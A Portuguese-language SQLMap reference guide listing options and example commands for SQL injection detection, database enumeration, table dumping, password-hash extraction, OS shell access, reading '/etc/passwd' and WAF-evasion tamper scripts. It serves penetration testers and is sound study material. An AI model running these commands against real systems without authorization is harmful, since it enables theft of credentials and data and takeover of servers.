Guia de referência SQLMap
Referência completa para automação de injeção SQL
Detecção • Enumeração • Extração de dados • Acesso shell
📑 Navegação rápida
O que é SQLMap?
SQLMap é uma ferramenta de teste de penetração open-source que automatiza a detecção e exploração de falhas de injeção SQL. Suporta uma ampla gama de sistemas de gerenciamento de banco de dados, incluindo MySQL, Oracle, PostgreSQL, Microsoft SQL Server, SQLite, e muitos outros.
SQLMap vem pré-instalado no Kali Linux. Código fonte disponível em github.com/sqlmapproject/sqlmap.
📦 Instalação
Kali Linux (Pré-instalado)
sqlmap --version
Instalação pip
pip install sqlmap
Do Git
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap && python sqlmap.py
Atualização
sqlmap --update
🎯 Uso básico
# Teste básico de parâmetro GETsqlmap -u "http://<target>/page?id=1"# Requisição POSTsqlmap -u "http://<target>/login" --data="user=admin&pass=test"# Testar parâmetro específicosqlmap -u "http://<target>/page?id=1&name=test" -p id# De arquivo de requisição Burpsqlmap -r request.txt# Teste com cookiesqlmap -u "http://<target>/page?id=1" --cookie="PHPSESSID=abc123"# Cabeçalhos personalizadossqlmap -u "http://<target>/api/data" --headers="Authorization: Bearer token123"
💡 Dica pro
Salve requisições do Burp Suite como arquivos e use -r request.txt — isso preserva automaticamente todos os cabeçalhos, cookies e dados POST.
🔍 Opções de detecção
| Opção | Descrição |
|---|---|
| --level=LEVEL | Nível de teste (1-5, padrão 1). Maior = mais testes |
| --risk=RISK | Nível de risco (1-3, padrão 1). Maior = testes mais arriscados |
| -p PARAM | Testar apenas parâmetro específico |
| --dbms=DBMS | Forçar SGBD específico (mysql, mssql, oracle, etc.) |
| --technique=TECH | Especificar técnicas de injeção (BEUSTQ) |
| --string=STRING | String que aparece em condição verdadeira |
| --not-string=STRING | String que aparece em condição falsa |
Técnicas de injeção (--technique)
| B | Boolean-based blind (cego baseado em booleano) |
| E | Error-based (baseado em erros) |
| U | UNION query-based (baseado em UNION) |
| S | Stacked queries (consultas empilhadas) |
| T | Time-based blind (cego baseado em tempo) |
| Q | Inline queries (consultas inline) |
📊 Enumeração
| Opção | Descrição |
|---|---|
| --banner | Recuperar banner do SGBD |
| --current-user | Usuário atual do banco de dados |
| --current-db | Nome do banco de dados atual |
| --is-dba | Verificar se usuário é DBA |
| --users | Enumerar usuários do banco |
| --passwords | Enumerar hashes de senhas |
| --privileges | Enumerar privilégios de usuário |
| --dbs | Enumerar bancos de dados |
| --tables | Enumerar tabelas |
| --columns | Enumerar colunas |
| --schema | Enumerar esquema completo |
| --count | Contar entradas nas tabelas |
💾 Extração de dados
| Opção | Descrição |
|---|---|
| -D DB | Especificar nome do banco de dados |
| -T TABLE | Especificar nome da tabela |
| -C COLUMNS | Especificar colunas (separadas por vírgula) |
| --dump | Extrair conteúdo da tabela |
| --dump-all | Extrair todos os bancos de dados |
| --start=N | Começar a partir da linha N |
| --stop=N | Parar na linha N |
| --where=COND | Cláusula WHERE para extração |
| --sql-query=QUERY | Executar consulta SQL personalizada |
| --sql-shell | Shell SQL interativo |
Fluxo de extração comum
# Passo 1: Listar bancos de dadossqlmap -u "http://<target>/page?id=1" --dbs# Passo 2: Listar tabelas no bancosqlmap -u "http://<target>/page?id=1" -D targetdb --tables# Passo 3: Listar colunas na tabelasqlmap -u "http://<target>/page?id=1" -D targetdb -T users --columns# Passo 4: Extrair colunas específicassqlmap -u "http://<target>/page?id=1" -D targetdb -T users -C username,password --dump# Extrair tabela inteirasqlmap -u "http://<target>/page?id=1" -D targetdb -T users --dump
🖥️ Acesso OS
| Opção | Descrição |
|---|---|
| --os-shell | Shell OS interativo |
| --os-cmd=CMD | Executar comando OS |
| --os-pwn | Obter shell OOB (Meterpreter/VNC) |
| --file-read=FILE | Ler arquivo do servidor |
| --file-write=LOCAL | Escrever arquivo local no servidor |
| --file-dest=PATH | Caminho de destino no servidor |
| --reg-read | Ler chave do registro Windows |
⚠️ Requisitos para shell OS
Acesso OS requer: suporte a stacked queries, privilégios DBA e permissões SGBD apropriadas (privilégio FILE para MySQL, xp_cmdshell para MSSQL).
📤 Opções de requisição
| Opção | Descrição |
|---|---|
| -r FILE | Carregar requisição de arquivo |
| --data=DATA | String de dados POST |
| --cookie=COOKIE | Valor do cookie HTTP |
| --headers=HEADERS | Cabeçalhos extras (separados por newline) |
| --user-agent=UA | User-Agent personalizado |
| --random-agent | Usar User-Agent aleatório |
| --referer=REFERER | Cabeçalho Referer personalizado |
| --proxy=PROXY | Usar proxy (http://host:port) |
| --tor | Usar rede Tor |
| --method=METHOD | Forçar método HTTP (GET/POST/PUT) |
🛡️ Bypass WAF/IDS
| Opção | Descrição |
|---|---|
| --tamper=TAMPER | Usar script(s) tamper |
| --delay=SECONDS | Atraso entre requisições |
| --timeout=SECONDS | Timeout de conexão |
| --retries=N | Tentativas em problemas de conexão |
| --randomize=PARAM | Randomizar valor do parâmetro |
| --safe-url=URL | URL para visitar entre testes |
| --safe-freq=N | Visitar URL safe a cada N requisições |
Scripts tamper comuns
# Bypass de espaçosspace2comment, space2plus, space2randomblank# Manipulação de caserandomcase, uppercase, lowercase# Codificaçãobase64encode, charencode, charunicodeencode# Injeção de comentáriosbetween, equaltolike, commalessmid# Específicos do banco de dadosmodsecurityzeroversioned (MySQL), sp_password (MSSQL)# Múltiplos tampers--tamper="space2comment,randomcase,charencode"
⚡ Otimização
| Opção | Descrição |
|---|---|
| --threads=N | Threads concorrentes máx (padrão 1) |
| --batch | Nunca pedir entrada do usuário (usar padrões) |
| --flush-session | Limpar arquivos de sessão para o alvo |
| --fresh-queries | Ignorar resultados de consultas em cache |
| --null-connection | Não recuperar corpo da página (mais rápido) |
| -o | Ativar flags de otimização |
| -v LEVEL | Verbosidade (0-6, padrão 1) |
🔥 Cenários de ataque comuns
# Scan automático completosqlmap -u "http://<target>/page?id=1" --batch --dbs# Scan agressivo com todas as técnicassqlmap -u "http://<target>/page?id=1" --level=5 --risk=3# Testar formulário de login POSTsqlmap -u "http://<target>/login" --data="user=admin&pass=test" --dbs# Teste com autenticaçãosqlmap -u "http://<target>/api/data?id=1" --cookie="session=abc123" --dbs# Extrair e crackear senhassqlmap -u "http://<target>/page?id=1" --passwords --batch# Obter shell OSsqlmap -u "http://<target>/page?id=1" --os-shell# Ler arquivo do servidorsqlmap -u "http://<target>/page?id=1" --file-read="/etc/passwd"# Scan com bypass WAFsqlmap -u "http://<target>/page?id=1" --tamper="space2comment,randomcase" --random-agent
📚 Recursos adicionais
💉 Guia de referência SQLMap completo!
Você agora tem uma referência abrangente para a ferramenta de automação de injeção SQL mais poderosa. Da detecção à extração de dados até o acesso OS, esses comandos são o que os pentesters usam para explorar vulnerabilidades de banco de dados.
Pronto para explorar sua próxima injeção SQL!